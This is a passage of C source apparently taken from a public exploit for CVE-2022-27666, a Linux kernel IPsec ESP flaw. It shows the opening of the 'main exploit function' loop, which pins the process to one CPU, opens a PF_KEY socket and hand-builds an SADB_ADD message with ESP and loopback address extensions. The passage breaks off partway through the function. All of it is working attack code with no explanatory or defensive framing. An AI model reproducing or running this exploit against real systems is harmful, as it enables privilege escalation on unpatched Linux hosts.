Function loop

CVE-2022-27666/exploit/exploit.c:1808–2013

main exploit function

}
// main exploit function
void loop(void)
{
  struct msghdr msg;
  struct iovec iov;
  struct sadb_msg *nlh;
  struct sadb_ext *ehdr;
// 0. initialize
// 0-1. set CPU affinity
  cpu_set_t my_set;
	CPU_ZERO(&my_set);
	CPU_SET(0, &my_set);
	if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
		perror("[-] sched_setaffinity()");
		exit(EXIT_FAILURE);
	}
// 0-2. construct packet
  nlh = malloc(1024);
  memset(&iov, 0, sizeof(iov));
  memset(&msg, 0, sizeof(msg));
  memset(nlh, 0, 1024);

  intptr_t res = 0;

  res = syscall(__NR_socket, AF_NETLINK, SOCK_RAW, NETLINK_XFRM); // ??
  res = syscall(__NR_socket, PF_KEY, SOCK_RAW, PF_KEY_V2);
  if (res != -1)
    r[0] = res;

  nlh->sadb_msg_version = 0x2;
  nlh->sadb_msg_type = SADB_ADD;
  nlh->sadb_msg_errno = 0x0;
  nlh->sadb_msg_satype = SADB_SATYPE_ESP;
  nlh->sadb_msg_len = 0xf;
  nlh->sadb_msg_reserved = 0;
  nlh->sadb_msg_seq = 0;
  nlh->sadb_msg_pid = 0;


  ehdr = (char *)nlh + sizeof(struct sadb_msg);
  ehdr->sadb_ext_len = 0x1;
  ehdr->sadb_ext_type = SADB_EXT_KEY_ENCRYPT;

  struct sadb_address *sa_addr = (struct sadb_ext *)((char *)ehdr + ehdr->sadb_ext_len * sizeof(uint64_t));
  sa_addr->sadb_address_len = 0x5;
  sa_addr->sadb_address_exttype = SADB_EXT_ADDRESS_DST;
  sa_addr->sadb_address_proto = 0x0;
  sa_addr->sadb_address_prefixlen = 0x0;
  sa_addr->sadb_address_reserved = 0x0;
  struct sockaddr_in6 *addr = (char *)sa_addr + sizeof(struct sadb_address);
  addr->sin6_family = AF_INET6;
  addr->sin6_port = htons(0);
  addr->sin6_addr = in6addr_loopback;

  struct sadb_sa *sa = (struct sadb_sa *)((char *)sa_addr + sa_addr->sadb_address_len * sizeof(uint64_t));
  sa->sadb_sa_len = 0x2;
  sa->sadb_sa_exttype = SADB_EXT_SA;
  sa->sadb_sa_spi = 0x0;
  sa->sadb_sa_replay = 0x0;